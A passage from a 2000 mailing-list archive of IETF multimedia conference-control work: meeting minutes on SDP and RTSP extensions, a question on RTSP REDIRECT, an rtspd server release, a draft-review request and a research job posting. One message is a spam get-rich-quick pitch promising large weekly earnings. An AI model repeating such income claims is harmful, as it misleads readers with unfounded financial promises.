feature to work, the attribute approach is better.  Steve Casner saw
the filter as a media-specific attribute, so the suggestion was that
both representations may be needed.

The list will be asked to determine whether one way of representing
the information will be chosen or both allowed.

A new question: can there be domain names, or must all the entries be
addresses?  For IN IP4, only addresses are allowed.

Can address types (IP4, IP6) be mixed?  Such mixing is part of the a=
proposal.

How to handle multiple groups with the same filter? 

* group range? 
* multiple c= lines? 
* would wildcard be OK for the address part? 

Steve pointed out that the star notation could be used, even with a
single c= line.

SAP is limited to 1 kilobyte payload, which translates to around 15
IPv6 or 39 IPv4 addresses without compression.  There was a
suggestion: remove the limit from the specification.  It was noted
from the audience that no implementations are known which enforce the
limit.

A single-source session should have a=recvonly, but one cannot assume
the reverse.

The above points need to be written up.  Mark Handley qualified this,
saying that it should be written up outside of the SDP specification,
since it is attribute-based.  To add it to the SDP specification
would cause the latter to recycle to Proposed status.  Allison Mankin
suggested that point needs discussion.


7. Specifying ATM Connections In SDP (Tom Taylor) 
=================================================
(draft-rajeshkumar-mmusic-sdp-atm-01.txt) 

In the absence of the author, Tom Taylor (taylor@nortelnetworks.com)
presented the syntax for ATM connections proposed in the document. 
These are meant to be used specifically for narrowband telephony
running over ATM AAL1 and AAL2 connections.  The issues dealt with are
bearer identification, specification of payloads over ATM (reusing the

RTP codes), and specification of ATM QOS parameters.  The main changes
to SDP include specification of the "ATM" nettype and new ATM
addrtypes on the c= line, m= lines modified to take account of ATM
transport and ATM-based profiles, and a number of new attributes to
carry bearer correlators, negotiate codec selection, and transmit
various ATM-related parameters.  The "$" wildcard notation is
introduced on the m= line to designate portions of bearer identifiers
to be selected by the recipient of the session description.

Mark Handley judged the principle of SDP extension for non-IP
transport to be acceptable.  The c= syntax looked OK.  The attributes
need a consistent naming convention or they will get out of hand. 
There was a suggestion that the authors could learn from the RTSP
experience.

Alison undertook to consult with the Transport Area Directorate on
whether the MEGACO or the MMUSIC WG should be prime for completing the
document.

Joerg Ott summed up by saying that such work should meet these criteria: 

* conformance to the rules of SDP syntax 
* no duplication of effort -- look for more general solutions where
  possible.

The meeting expressed no opposition to allowing the work to proceed. 


8. Codec Capabilities Attribute For SDP
=======================================
(draft-beser-mmusic-capabilities-00.txt) 

An SDP media announcement has multiple interpretations: it could be an
expression of capabilities, or it could be a definitive selection of
parameters.  One consequence of this ambiguity is that it is unclear
how much payload bandwidth to reserve.  This quantity is needed to use
RSVP reservation.  The proposal is to add an a=cap: attribute to
indicate capabilities as opposed to selections.  The list of payload
types within the attribute would be ordered from most to least
preferred.

The one comment was that resource reservation and capability exchange
are two different operations.   

9. Caching In RTSP/RTP Servers (Mark Green) 
=========================================== 

The topic is one of dynamic replication of content to bring it nearer
to users.  Mark presented a list of issues to be considered when
caching RTSP/RTP:

* transfer loss 
* transform loss 
* cache coherency 

* AAA 
* copy protection. 

Transfer loss makes it difficult to create a perfect copy.  This is a
bigger problem with UDP transport than with HTTP, but with UDP it is
easier to maintain cache coherency.

There are a couple of approaches.  With the packet recorder approach,
loss is a problem.  This is an RTP issue.  The file transfer approach
uses RTSP/TCP.  Transfer is more reliable, but the cache needs to know
the file formats.

One possibility is RTSP/TCP to tyransfer RTP, with an additional
metachannel to carry retransmissions.

Copy protection is a concern with the possibility of rogue caches
making illegal copies.

Comments: Rogue caches are not an RTSP issue.  The metachannel would
have a special format which would depend on the data and file format
being transferred.  The author agreed that this was so, but hopes that
a reasonably general set of classes of transfer can be defined.

Further discussion is invited on the list.   


10. RTSP Extensions: Additional Transports and Performance
    Enhancements (Sean Sheedy)
==========================================================
(draft-sheedy-mmusic-rtsp-ext-00.txt) 

The proposed extensions are based on existing implementations at
Oracle and nCube.  These support a commercial broadcast environment
featuring high bit rates, simple endpoints, high QOS, MPEG-2 encoding,
and low latencies in the order of 250 ms.  The server topology
includes bridging servers along the path of transmission.

The authors found it necessary to define new transports, so transport
extensions are proposed, along with new profiles beyond AVP.  Addreess
extensions were required to make addressing unique, since DOCSIS does
not allow an easy mapping between the client IP address and the

optical server.

Several optimizations were added for faster operation.  Setup and
tear-down are critical: setup should happen within 1 s, play and
rewind within 200 ms.  The optimizations included:

* the possibility of changing the URI within PLAY, to allow reuse of
  transport 
* wildcarded URIs to represent the currently active presentation,
  although these have limitations because of the potential ambiguity
  they introduce
* bandwidth reservation 
* two options for over-riding queued PLAY commands: Play-Now, and
  No-Flush.

The optimizations introduced several issues.  For example, how can the
client tell when the end of the stream has been reached?  The proposed
solution is to provide a server callback: the server sends a request
to the client when state transitions occur.

The authors are sharing this information with an invitation to work on
standardizing the suggested extensions.  The question was raised: what
does "extension" mean?  Joerg stated that all extensions to a protocol
must be backward compatible.   He also asked the authors to coordinate
with the MEGACO work on ATM addressing to arrive at a single general
purpose extension.






From confctrl-owner  Sun May 14 23:55:46 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA21408
	for confctrl-outgoing; Sun, 14 May 2000 23:55:46 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA21403
	for <confctrl@zephyr.isi.edu>; Sun, 14 May 2000 23:55:44 -0700 (PDT)
Received: from arcturus.barak.net.il (arcturus.barak.net.il [212.150.150.40])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id XAA05797
	for <confctrl@isi.edu>; Sun, 14 May 2000 23:55:41 -0700 (PDT)
Received: from messenger.rnd.co.il ([209.88.194.205])
	by arcturus.barak.net.il (8.9.3/8.9.1) with ESMTP id IAA11276
	for <confctrl@isi.edu>; Mon, 15 May 2000 08:53:37 +0200 (IST)
Received: by MESSENGER with Internet Mail Service (5.5.2650.21)
	id <KW9MB6SM>; Mon, 15 May 2000 09:52:22 +0200
Message-ID: <BA7FAB77CE0ED31196260050040C08268E478D@MESSENGER>
From: Ifat G <IfatG@radware.co.il>
To: "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Cc: Doron Shavit <DoronS@radware.com>
Subject: RTSP RFC 2326
Date: Mon, 15 May 2000 09:52:17 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Hello,
 
> I have two question concerning the RTSP REDIRECT:
> 
1) It was written in the RFC (Section 10.10 ) that when a client receives a REDIRECT message he must issue a TEARDOWN request. When the server issues a REDIRECT message it doesn't contain any session ID. My question is, must a TEARDOWN request  contain a session ID? If so, then how could a TEARDOWN request as a consequence of a REDIRECT message contain a session ID?

2) Must the server send an o.k. reply after receiving a TEARDOWN request?

> Thanks a lot,
> 	Ifat Gabbay.

From confctrl-owner  Thu May 18 17:00:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA09041
	for confctrl-outgoing; Thu, 18 May 2000 17:00:44 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA09026
	for <confctrl@zephyr.isi.edu>; Thu, 18 May 2000 17:00:42 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA04423
	for <confctrl@isi.edu>; Thu, 18 May 2000 17:00:41 -0700 (PDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id UAA25261;
	Thu, 18 May 2000 20:01:14 -0400 (EDT)
Message-ID: <3924844A.67570476@cs.columbia.edu>
Date: Thu, 18 May 2000 20:01:14 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
CC: Kundan Singh <kns10@cs.columbia.edu>
Subject: First beta release of rtspd
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

After much delay, we are releasing an early beta version of the Columbia
rtspd RTSP server. Details can be found at
http://www.cs.columbia.edu/~hgs/rtspd/

Testing the wav file code and addition of MPEG format files is planned
for the near future. Bug fixes are welcome.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri May 19 00:33:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA28549
	for confctrl-outgoing; Fri, 19 May 2000 00:33:21 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA28544
	for <confctrl@zephyr.isi.edu>; Fri, 19 May 2000 00:33:20 -0700 (PDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id AAA17291
	for <confctrl@isi.edu>; Fri, 19 May 2000 00:33:20 -0700 (PDT)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id AAA18310
	for <confctrl@isi.edu>; Fri, 19 May 2000 00:33:51 -0700 (PDT)
Received: from scv3.apple.com (scv3.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T118064e11264c432b2a7a@mailgate1.apple.com>;
 Fri, 19 May 2000 00:33:36 -0700
Received: from [17.221.42.60] (serenyi.apple.com [17.221.42.60])
	by scv3.apple.com (8.9.3/8.9.3) with SMTP id AAA07642;
	Fri, 19 May 2000 00:33:50 -0700 (PDT)
Message-Id: <200005190733.AAA07642@scv3.apple.com>
Subject: Re: First beta release of rtspd
Date: Fri, 19 May 00 00:33:54 -0700
x-sender: denis.s@mail.apple.com
x-mailer: Claris Emailer 2.0v2, June 6, 1997
From: Denis Serenyi <denis.s@apple.com>
To: "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>,
        "Kundan Singh" <kns10@cs.columbia.edu>
cc: <confctrl@ISI.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I tried to download and could not. The file required access privileges, 
it seemed.

>After much delay, we are releasing an early beta version of the Columbia
>rtspd RTSP server. Details can be found at
>http://www.cs.columbia.edu/~hgs/rtspd/
>
>Testing the wav file code and addition of MPEG format files is planned
>for the near future. Bug fixes are welcome.
>-- 
>Henning Schulzrinne   http://www.cs.columbia.edu/~hgs


---
Denis Serenyi
QuickTime Streaming Server Engineering
denis@apple.com


From confctrl-owner  Fri May 19 07:01:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA15913
	for confctrl-outgoing; Fri, 19 May 2000 07:01:31 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA15908
	for <confctrl@zephyr.isi.edu>; Fri, 19 May 2000 07:01:29 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id HAA28093
	for <confctrl@isi.edu>; Fri, 19 May 2000 07:01:28 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by dirty; Fri May 19 10:00:13 EDT 2000
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA10972;
	Fri, 19 May 2000 10:00:14 -0400 (EDT)
Message-ID: <392548ED.D85398AE@cs.columbia.edu>
Date: Fri, 19 May 2000 10:00:13 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: Denis Serenyi <denis.s@apple.com>
CC: Kundan Singh <kns10@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: First beta release of rtspd
References: <200005190733.AAA07642@scv3.apple.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Denis Serenyi wrote:
> 
> I tried to download and could not. The file required access privileges,
> it seemed.
> 
Sorry about this. Fixed.

From confctrl-owner  Sat May 20 04:12:21 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA05589
	for confctrl-outgoing; Sat, 20 May 2000 04:12:21 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05584
	for <confctrl@zephyr.isi.edu>; Sat, 20 May 2000 04:12:18 -0700 (PDT)
Received: from photon.idirect.com (photon.idirect.com [207.136.80.123])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id EAA14119
	for <confctrl@isi.edu>; Sat, 20 May 2000 04:12:17 -0700 (PDT)
From: offshore1444@yahoo.com
Received: from bc-vic-a53-02-38.look.ca ([216.66.129.134] helo=look.ca)
	by photon.idirect.com with smtp (Exim 3.12 #9)
	id 12quTd-00069s-00; Sun, 14 May 2000 14:14:21 +0500
Reply-To: offshore1444@yahoo.com
To: offshore1444@yahoo.com
Subject: Tired of the 9 to 5 Yet?
Message-Id: <E12quTd-00069s-00@photon.idirect.com>
Date: Sun, 14 May 2000 14:14:21 +0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Ladies and Gentlemen,

     We thought this might be of interest to you because we received your commercial email, or you were referred to us as someone interested in business opportunities. WE PROMPTLY HONOR ALL REMOVE REQUESTS. To be removed from all future mailings, please reply with REMOVE in the subject heading

     Do you have the desire to make $2000 to $5000 PLUS PER WEEK, beginning almost immediately? How does $10,000 TO $20,000 PLUS PER MONTH, and a realistic STRONG SIX FIGURES this year sound? And, how about generating all of this by just sharing information?

     This is NOT, Lotions, Potions, Pills, Water Filters, Shopping Clubs, Long Distance Services. No Hype, No Meetings, No MLM! There Is No One Else Doing What We're Doing! 

    If you can bring desire and an honest effort to the table, we can show you how to NEVER WORRY ABOUT MONEY AGAIN! Opportunity is truly knocking! To find out more, call Toll Free.


                                                      1-800-636-6773 ext 3886
God bless



From confctrl-owner  Tue May 23 16:50:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA00120
	for confctrl-outgoing; Tue, 23 May 2000 16:50:45 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA00113
	for <confctrl@zephyr.isi.edu>; Tue, 23 May 2000 16:50:44 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id QAA28122
	for <confctrl@isi.edu>; Tue, 23 May 2000 16:50:42 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-168.cisco.com [171.71.29.168])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id QAA22139;
	Tue, 23 May 2000 16:50:04 -0700 (PDT)
Message-Id: <4.1.20000523163543.00cbde50@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 23 May 2000 16:54:29 -0700
To: "Rosen, Brian" <Brian.Rosen@marconi.com>,
        "'atmsdp@eng.fore.com'" <atmsdp@eng.fore.com>, jo@tzi.uni-bremen.de
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Re: ATM Package for Megaco
Cc: ISC_DeviceControl@inventures.com, rlang@sri.com, schooler@cs.caltech.edu,
        mjh@aciri.org, jo@tzi.uni-bremen.de, sob@harvard.edu, vern@aciri.org,
        mmostafa@cisco.com, confctrl@ISI.EDU
In-Reply-To: <4FBEA8857476D311A03300204840E1CF678331@whq-msgusr-02.fore.
 com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_20431338==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_20431338==_.ALT
Content-Type: text/plain; charset="us-ascii"


atmdsp/MMUSIC colleagues,

  I would like draft-rajeshkumar-mmusic-sdp-atm-01.txt to move to standards
track in the July meeting of the IETF in Philadephia.

I haven't received much feedback on it, except a comment by Jeorg Ott that the
Internet Draft violated SDP syntax in some places. If it does, then these are
probably minor can be fixed. I would really appreciate pinpointed comments and
I will work to get them resolved ASAP
and I would like to move this draft to its next logical step, or simply
withdraw it from circulation. The draft has been out there for 3 months now.

Please send me your comments and criticisms.

Thanks.

Rajesh

  
Thanks--Rajesh 

...........................................................................
Rajesh Kumar
rkumar@cisco.com                    
408 527 0811                
Carrier Packet Voice
Cisco Systems, San Jose, California
--=====================_20431338==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div>atmdsp/MMUSIC colleagues,</div>
<br>
<div>&nbsp; I would like draft-rajeshkumar-mmusic-sdp-atm-01.txt to move
to standards track in the July meeting of the IETF in 
Philadephia.</div>
<br>
<div>I haven't received much feedback on it, except a comment by Jeorg
Ott that the Internet Draft violated SDP syntax in some places. If it
does, then these are probably minor can be fixed. I would really
appreciate pinpointed comments and I will work to get them resolved
ASAP</div>
<div>and I would like to move this draft to its next logical step, or
simply withdraw it from circulation. The draft has been out there for 3
months now.</div>
<br>
<div>Please send me your comments and criticisms.</div>
<br>
<div>Thanks.</div>
<br>
<div>Rajesh</div>
<br>
&nbsp;
<br>

Thanks--Rajesh <br>
<br>
<font color="#000080">...........................................................................<br>
<i>Rajesh Kumar<br>
rkumar@cisco.com<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
Carrier Packet Voice<br>
Cisco Systems, San Jose, California</font></i></html>

--=====================_20431338==_.ALT--


From confctrl-owner  Wed May 24 01:46:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA22905
	for confctrl-outgoing; Wed, 24 May 2000 01:46:47 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA22900
	for <confctrl@zephyr.isi.edu>; Wed, 24 May 2000 01:46:46 -0700 (PDT)
Received: from correio.inescn.pt (correio.inescn.pt [192.35.246.2])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id BAA17190
	for <confctrl@ISI.EDU>; Wed, 24 May 2000 01:46:40 -0700 (PDT)
Received: from newton.inescn.pt (newton.inescn.pt [194.117.24.17])
	by correio.inescn.pt (8.9.1/8.9.1/11) with SMTP id JAA22960;
	Wed, 24 May 2000 09:47:01 +0100
Received: from pimpim.inescporto.pt by newton.inescn.pt (SMI-8.6/SMI-SVR4)
	id JAA06475; Wed, 24 May 2000 09:46:48 +0100
Message-Id: <4.3.1.2.20000524093236.00b8dec0@newton.inescn.pt>
X-Sender: lmt@newton.inescn.pt
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Wed, 24 May 2000 09:45:25 +0100
To: IMAGELIB@LISTSERV.ARIZONA.EDU, comsoc-chapters@ieee.org,
        info-confs@comsoc.org, rem-conf@es.net, confctrl@ISI.EDU,
        Archive-L@tcf.ua.edu, mpeg-video@tele10.ist.utl.pt,
        sc29wg11doc@dkuug.dk
From: =?iso-8859-1?Q?Lu=EDs?= Teixeira <lmt@inescn.pt>
Subject: Pre-doctoral positions in Multimedia Archives and Video
  Analysis
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_2372301==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_2372301==_.ALT
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: quoted-printable


<< Apologies for duplicate copies! >>

----------------------------------------------------------------------------=
--------
Pre-doctoral positions in Multimedia Archives
and Video Analysis
----------------------------------------------------------------------------=
---=20

INESC Porto, PORTUGAL
------------------------------------------------------------------------

Applications are invited for two pre-doctoral research position in the areas
of multimedia archives and video analysis for multimedia information
retrieval systems. The positions are for periods of six months to two and
a half years and are funded by the European Commission project MOUMIR
- MOdels for Unified Multimedia Information Retrieval, with university
collaborators from Trinity College Dublin (Ireland), INRIA (France), Ben
Gurion University (Israel), Aristotle University of Thessonaliki (Greece),
Cambridge University (UK), INESC Porto (Portugal) and content providers
from RTP (the Portuguese public TV broadcaster) and BAL-Bridgeman
Art Library (UK).

-----------------------------------------------------------------------

Position in Multimedia Archives
Multimedia Archives are at the centre of many content-rich applications
and information services which are getting increasing attention and
investment. Searching multimedia archives requires the use of metadata
descriptions according to emerging standards.
The proposed goal is to start with an existing specification of a metadata
description scheme for multimedia materials and develop tools to store,
browse and query an archive of such items.
The metadata description scheme has taken into account the on-going work by
several communities:
    - the archival description community on a standard for the traditional
      documents (ISAD) and on dealing with new types of documents,=
 electronic,
      multimedia, distributed;
    - the multimedia/Internet search community on indexing the raw texts,
      and on characterising the other components of the Web sites;
    - the video coding community on searching audio and video sequences,
      and describing its contents in particular using the emerging MPEG7=20
standard.

An application area will be selected for the prototype, either photography
archives or broadcaster video archives.

-----------------------------------------------------------------------

Position in Video Analysis
The main objective of this work is to participate in the development of the
basis for a Video Analysis System with an high level of integration of the
video analysis tools. For that purpose a Generic Video Analysis Toolbox will
be implemented, including a wide variety of techniques for video
segmentation (face/object detection), scene cuts detection, global and=
 camera
motion estimation and text extraction. In order to obtain an integrated set=
 of
tools, evaluation tests will be performed to determine the inter-relations=
 and
synergies among the different content-based tools. The results of those
tests will allow the improvement of the performance of each specific tool=20
based on
the information provided by the others. Based on the information provided by
the video analysis tools, software for the video interpretation will be
implemented in order to achieve a description of the video content. A
specific type of application, like video content filtering applied to TV=20
News, will
be selected, to validate the developed techniques.

-------------------------------------------------------------------------

The successful applicant will be an independent-minded and ambitious
researcher with a MsC or equivalent on related areas. It will be possible to
include the applicants on the PhD programmes of the Porto University
(Faculdade de Engenharia - Engineering College,
http://www.fe.up.pt/feupwww/bem-vindo.html)

The European Commission stipulates that candidates should be EU
Nationals, or nationals of 5th Framework member countries, who
have not been resident in Portugal for more than 12 months.
Applications including CV and two academic references should be sent to the
address below.

Contact at INESC Porto with:
Prof. Luis Corte-Real, email: lreal@inescn.pt
Prof. Gabriel David, email: gtd@fe.up.pt

----------------------------------------------------------------------------=
-----------------------------
INESC Porto - Instituto de Engenharia de Sistemas e Computadores do Porto
(Institute for Systems and Computer Engineering of Porto)
(http://www2.inescporto.pt/uk/default1.asp)
is a private non-profit association that was created in December 1998,
having as associates INESC and the University of Porto.

INESC Porto is an interface between the academic world and the Information
Technology, Telecommunications and Electronics (ITT&E) industrial sector,
carrying out scientific research and development as well as technology
transfer and advanced professional training.

The ultimate goals of INESC Porto are to achieve high international
standards in science and technology as well as carrying out on the job
training of human resources, in its areas of expertise. At the same time,
as a result of its tight coupling to the University through the involvement
of a significant number of professors in its activities, INESC Porto also
promotes the adequacy of the teaching system to the needs of the
economical and social fabric.
INESC Porto is therefore a strategic instrument of the University and a
source of R&D and of young scientists to the ITT&T industry.

---------------------------------------------------------
Luis Miguel Lopes Teixeira
Escola das Artes - Universidade Cat=F3lica Portuguesa
Rua Diogo Botelho, 1327, 4169-005 Porto, Portugal
Email: lmt@artes.ucp.pt   http://artes.ucp.pt/dsi

INESC - Unidade de Telecomunica=E7=F5es & Multimedia
Prc. da Rep=FAblica, 93, 4050-497 Porto, Portugal
Phone: + 351 22 2094237         Fax: + 351 22 2087829
Email: lmt@inescporto.pt      http://telecom.inescn.pt/people/lmt/index.htm=
=20
--=====================_2372301==_.ALT
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>
<br>
&lt;&lt; Apologies for duplicate copies! &gt;&gt;<br>
<br>
----------------------------------------------------------------------------=
--------<br>
Pre-doctoral positions in Multimedia Archives <br>
and Video Analysis<br>
----------------------------------------------------------------------------=
---
<br>
INESC Porto, PORTUGAL<br>
------------------------------------------------------------------------<br>
<br>
Applications are invited for two pre-doctoral research position in the
areas <br>
of multimedia archives and video analysis for multimedia information
<br>
retrieval systems. The positions are for periods of six months to two and
<br>
a half years and are funded by the European Commission project
MOUMIR<br>
- MOdels for Unified Multimedia Information Retrieval, with university
<br>
collaborators from Trinity College Dublin (Ireland), INRIA (France), Ben
<br>
Gurion University (Israel), Aristotle University of Thessonaliki
(Greece), <br>
Cambridge University (UK), INESC Porto (Portugal) and content providers
<br>
from RTP (the Portuguese public TV broadcaster) and BAL-Bridgeman <br>
Art Library (UK).<br>
<br>
-----------------------------------------------------------------------<br>
<br>
Position in Multimedia Archives<br>
Multimedia Archives are at the centre of many content-rich applications
<br>
and information services which are getting increasing attention and=20
<br>
investment. Searching multimedia archives requires the use of metadata
<br>
descriptions according to emerging standards.<br>
The proposed goal is to start with an existing specification of a
metadata <br>
description scheme for multimedia materials and develop tools to store,
<br>
browse and query an archive of such items.<br>
The metadata description scheme has taken into account the on-going work
by <br>
several communities: <br>
&nbsp;&nbsp; - the archival description community on a standard for the
traditional <br>
&nbsp;&nbsp;&nbsp;&nbsp; documents (ISAD) and on dealing with new types
of documents, electronic, <br>
&nbsp;&nbsp;&nbsp;&nbsp; multimedia, distributed; <br>
&nbsp;&nbsp; - the multimedia/Internet search community on indexing the
raw texts, <br>
&nbsp;&nbsp;&nbsp;&nbsp; and on characterising the other components of
the Web sites; <br>
&nbsp;&nbsp; - the video coding community on searching audio and video
sequences, <br>
&nbsp;&nbsp;&nbsp;&nbsp; and describing its contents in particular using
the emerging MPEG7 standard.<br>
<br>
An application area will be selected for the prototype, either
photography <br>
archives or broadcaster video archives.<br>
<br>
-----------------------------------------------------------------------<br>
<br>
Position in Video Analysis<br>
The main objective of this work is to participate in the development of
the <br>
basis for a Video Analysis System with an high level of integration of
the <br>
video analysis tools. For that purpose a Generic Video Analysis Toolbox
will <br>
be implemented, including a wide variety of techniques for video <br>
segmentation (face/object detection), scene cuts detection, global and
camera <br>
motion estimation and text extraction. In order to obtain an integrated
set of <br>
tools, evaluation tests will be performed to determine the
inter-relations and <br>
synergies among the different content-based tools. The results of those
<br>
tests will allow the improvement of the performance of each specific tool
based on <br>
the information provided by the others. Based on the information provided
by <br>
the video analysis tools, software for the video interpretation will be
<br>
implemented in order to achieve a description of the video content. A
<br>
specific type of application, like video content filtering applied to TV
News, will <br>
be selected, to validate the developed techniques.<br>
<br>
-------------------------------------------------------------------------<br=
>
<br>
The successful applicant will be an independent-minded and ambitious
<br>
researcher with a MsC or equivalent on related areas. It will be possible
to <br>
include the applicants on the PhD programmes of the Porto University
<br>
(Faculdade de Engenharia - Engineering College, <br>
<font color=3D"#0000FF"><u><a=
 href=3D"http://www.fe.up.pt/feupwww/bem-vindo.html"=
 eudora=3D"autourl">http://www.fe.up.pt/feupwww/bem-vindo.html</a></u></font=
>)<br>
<br>
The European Commission stipulates that candidates should be EU <br>
Nationals, or nationals of 5th Framework member countries, who <br>
have not been resident in Portugal for more than 12 months.<br>
Applications including CV and two academic references should be sent to
the <br>
address below.<br>
<br>
Contact at INESC Porto with: <br>
Prof. Luis Corte-Real, email: lreal@inescn.pt <br>
Prof. Gabriel David, email: gtd@fe.up.pt<br>
<br>
----------------------------------------------------------------------------=
-----------------------------<br>
INESC Porto - Instituto de Engenharia de Sistemas e Computadores do Porto
<br>
(Institute for Systems and Computer Engineering of Porto) <br>
(<a href=3D"http://www2.inescporto.pt/uk/default1.asp"=
 eudora=3D"autourl"><font color=3D"#0000FF"><u>http://www2.inescporto.pt/uk/=
default1.asp</a></u></font>)
<br>
is a private non-profit association that was created in December 1998,
<br>
having as associates INESC and the University of Porto.<br>
<br>
INESC Porto is an interface between the academic world and the
Information <br>
Technology, Telecommunications and Electronics (ITT&amp;E) industrial
sector, <br>
carrying out scientific research and development as well as technology
<br>
transfer and advanced professional training.<br>
<br>
The ultimate goals of INESC Porto are to achieve high international=20
<br>
standards in science and technology as well as carrying out on the job
<br>
training of human resources, in its areas of expertise. At the same time,
<br>
as a result of its tight coupling to the University through the
involvement <br>
of a significant number of professors in its activities, INESC Porto also
<br>
promotes the adequacy of the teaching system to the needs of the <br>
economical and social fabric.<br>
INESC Porto is therefore a strategic instrument of the University and a
<br>
source of R&amp;D and of young scientists to the ITT&amp;T=20
industry.<br>
<br>
<div>---------------------------------------------------------</div>
<div>Luis Miguel Lopes Teixeira</div>
<div>Escola das Artes - Universidade Cat=F3lica Portuguesa </div>
<div>Rua Diogo Botelho, 1327, 4169-005 Porto, Portugal</div>
<div>Email: lmt@artes.ucp.pt&nbsp;&nbsp;
<a href=3D"http://artes.ucp.pt/dsi"=
 EUDORA=3DAUTOURL>http://artes.ucp.pt/dsi</a></div>
<br>
<div>INESC - Unidade de Telecomunica=E7=F5es &amp; Multimedia</div>
<div>Prc. da Rep=FAblica, 93, 4050-497 Porto, Portugal</div>
<div>Phone: + 351 22
